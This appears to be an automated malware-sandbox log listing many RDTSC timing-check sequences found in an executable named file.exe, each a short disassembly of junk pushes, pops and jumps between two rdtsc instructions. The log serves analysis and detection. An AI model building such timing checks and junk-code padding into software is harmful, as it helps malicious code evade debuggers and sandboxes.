Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B04E30 second address: B04E47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947F2B03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B051ED second address: B051F7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F2394D2C4ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B052CE second address: ADDD41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947F2B03h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jng 00007F23947F2AF6h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 mov edx, dword ptr [ebp+122D34CCh] 0x0000001d jmp 00007F23947F2AFCh 0x00000022 call dword ptr [ebp+122D1B55h] 0x00000028 jng 00007F23947F2B0Fh 0x0000002e push eax 0x0000002f push edx 0x00000030 jp 00007F23947F2AF6h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDD41 second address: ADDD5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2394D2C4ABh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007F2394D2C4B0h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B320A3 second address: B320AF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007F23947F2AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3220B second address: B32213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B324E8 second address: B32516 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947F2B07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007F23947F2B03h 0x0000000f jmp 00007F23947F2AFDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32516 second address: B32544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F2394D2C4A6h 0x00000009 jno 00007F2394D2C4A6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 jmp 00007F2394D2C4B8h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32544 second address: B32548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3267B second address: B3267F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3267F second address: B326B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F23947F2AF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F23947F2B00h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F23947F2B00h 0x00000018 jno 00007F23947F2AF6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B326B3 second address: B326B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B32827 second address: B3282B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B388D3 second address: B388D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B373C0 second address: B373C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B373C8 second address: B373CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B373CD second address: B373F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F23947F2AF6h 0x0000000a jne 00007F23947F2AF6h 0x00000010 jmp 00007F23947F2AFDh 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B373F3 second address: B37401 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F2394D2C4ACh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37401 second address: B37405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37405 second address: B3740A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37985 second address: B37989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37989 second address: B3798F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D61 second address: B37D6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D6E second address: B37D74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D74 second address: B37D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F23947F2AFCh 0x0000000c jg 00007F23947F2AF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D86 second address: B37D8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D8C second address: B37D90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B37D90 second address: B37D94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B38045 second address: B3805A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947F2AFAh 0x00000009 ja 00007F23947F2AF6h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B382D7 second address: B382DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B382DD second address: B382E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3D812 second address: B3D818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3CF66 second address: B3CFAA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jnp 00007F23947F2AF6h 0x0000000d jmp 00007F23947F2AFBh 0x00000012 pop esi 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F23947F2AFEh 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F23947F2B07h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE661 second address: AAE665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4321D second address: B43221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43221 second address: B43246 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F2394D2C4A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2394D2C4B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B43246 second address: B43252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F23947F2AF6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4645F second address: B46480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007F2394D2C4B2h 0x0000000b push eax 0x0000000c push edx 0x0000000d jng 00007F2394D2C4A6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B46480 second address: B46484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4B38C second address: B4B3C4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F2394D2C4A6h 0x00000008 jne 00007F2394D2C4A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 jmp 00007F2394D2C4ABh 0x00000017 js 00007F2394D2C4B8h 0x0000001d jmp 00007F2394D2C4B2h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4B3C4 second address: B4B3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4B3CA second address: B4B3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A5AB second address: B4A5B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A5B1 second address: B4A5E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F2394D2C4B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F2394D2C4ACh 0x00000013 jnp 00007F2394D2C4A6h 0x00000019 jo 00007F2394D2C4ACh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A5E3 second address: B4A5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A5E7 second address: B4A5FE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F2394D2C4B2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A785 second address: B4A78E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A78E second address: B4A7A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2394D2C4B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A7A8 second address: B4A7AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A7AE second address: B4A7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A7B4 second address: B4A7B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4A7B8 second address: B4A7C2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2394D2C4A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AAA9 second address: B4AAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AAAF second address: B4AABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F2394D2C4A6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AABA second address: B4AAC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F23947F2AF6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AAC6 second address: B4AB18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2394D2C4B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007F2394D2C4BCh 0x00000011 pop edx 0x00000012 pop eax 0x00000013 je 00007F2394D2C4CEh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F2394D2C4B2h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4AF3C second address: B4AF41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E491 second address: B4E495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E495 second address: B4E4B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007F23947F2B09h 0x0000000e jmp 00007F23947F2B03h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBA1 second address: B4DBA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBA7 second address: B4DBAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBAB second address: B4DBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F2394D2C4A6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DBBB second address: B4DBBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4DEB9 second address: B4DEDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2394D2C4ACh 0x00000007 jg 00007F2394D2C4A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F2394D2C4ABh 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E1BD second address: B4E1CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 jo 00007F23947F2B02h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4E1CB second address: B4E1D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54180 second address: B5419D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F23947F2AFEh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5419D second address: B541A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B541A1 second address: B541CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23947F2B05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F23947F2B05h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5433D second address: B54357 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2394D2C4B0h 0x00000007 ja 00007F2394D2C4ACh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B545B6 second address: B545DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23947F2B06h 0x00000009 jmp 00007F23947F2AFFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B545DF second address: B5461F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F2394D2C4B4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F2394D2C4B8h 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F2394D2C4A6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5461F second address: B54623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54623 second address: B54638 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F2394D2C4AFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54638 second address: B5463D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5463D second address: B54649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F2394D2C4A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B547D6 second address: B547DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B547DA second address: B547FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F2394D2C4A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F2394D2C4B9h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FC9F second address: B5FCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F23952C8E26h 0x0000000f jmp 00007F23952C8E32h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FCC0 second address: B5FCC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FCC6 second address: B5FCE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F23952C8E34h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5FCE3 second address: B5FD06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F23947D038Fh 0x00000009 popad 0x0000000a popad 0x0000000b jo 00007F23947D039Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007F23947D0386h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF0A second address: B5DF14 instructions: 0x00000000 rdtsc 0x00000002 js 00007F23952C8E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5DF14 second address: B5DF1E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F23947D038Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E453 second address: B5E48B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F23952C8E26h 0x00000008 jmp 00007F23952C8E2Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F23952C8E34h 0x00000015 jmp 00007F23952C8E2Eh 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EA3F second address: B5EA51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F23947D038Dh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EA51 second address: B5EA7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 jmp 00007F23952C8E38h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5EA7D second address: B5EA82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F05D second address: B5F063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F063 second address: B5F06D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F23947D0392h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F3A7 second address: B5F3BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a jng 00007F23952C8E32h 0x00000010 jng 00007F23952C8E26h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5F714 second address: B5F72A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jng 00007F23947D0386h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6786C second address: B67887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F23952C8E2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d jbe 00007F23952C8E28h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67887 second address: B6788C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B2C second address: B67B46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F23952C8E36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B46 second address: B67B60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F23947D0396h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B60 second address: B67B8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F23952C8E2Ch 0x00000010 jno 00007F23952C8E26h 0x00000016 jmp 00007F23952C8E39h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B8F second address: B67B95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67B95 second address: B67BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F23952C8E2Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B67BAA second address: B67BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
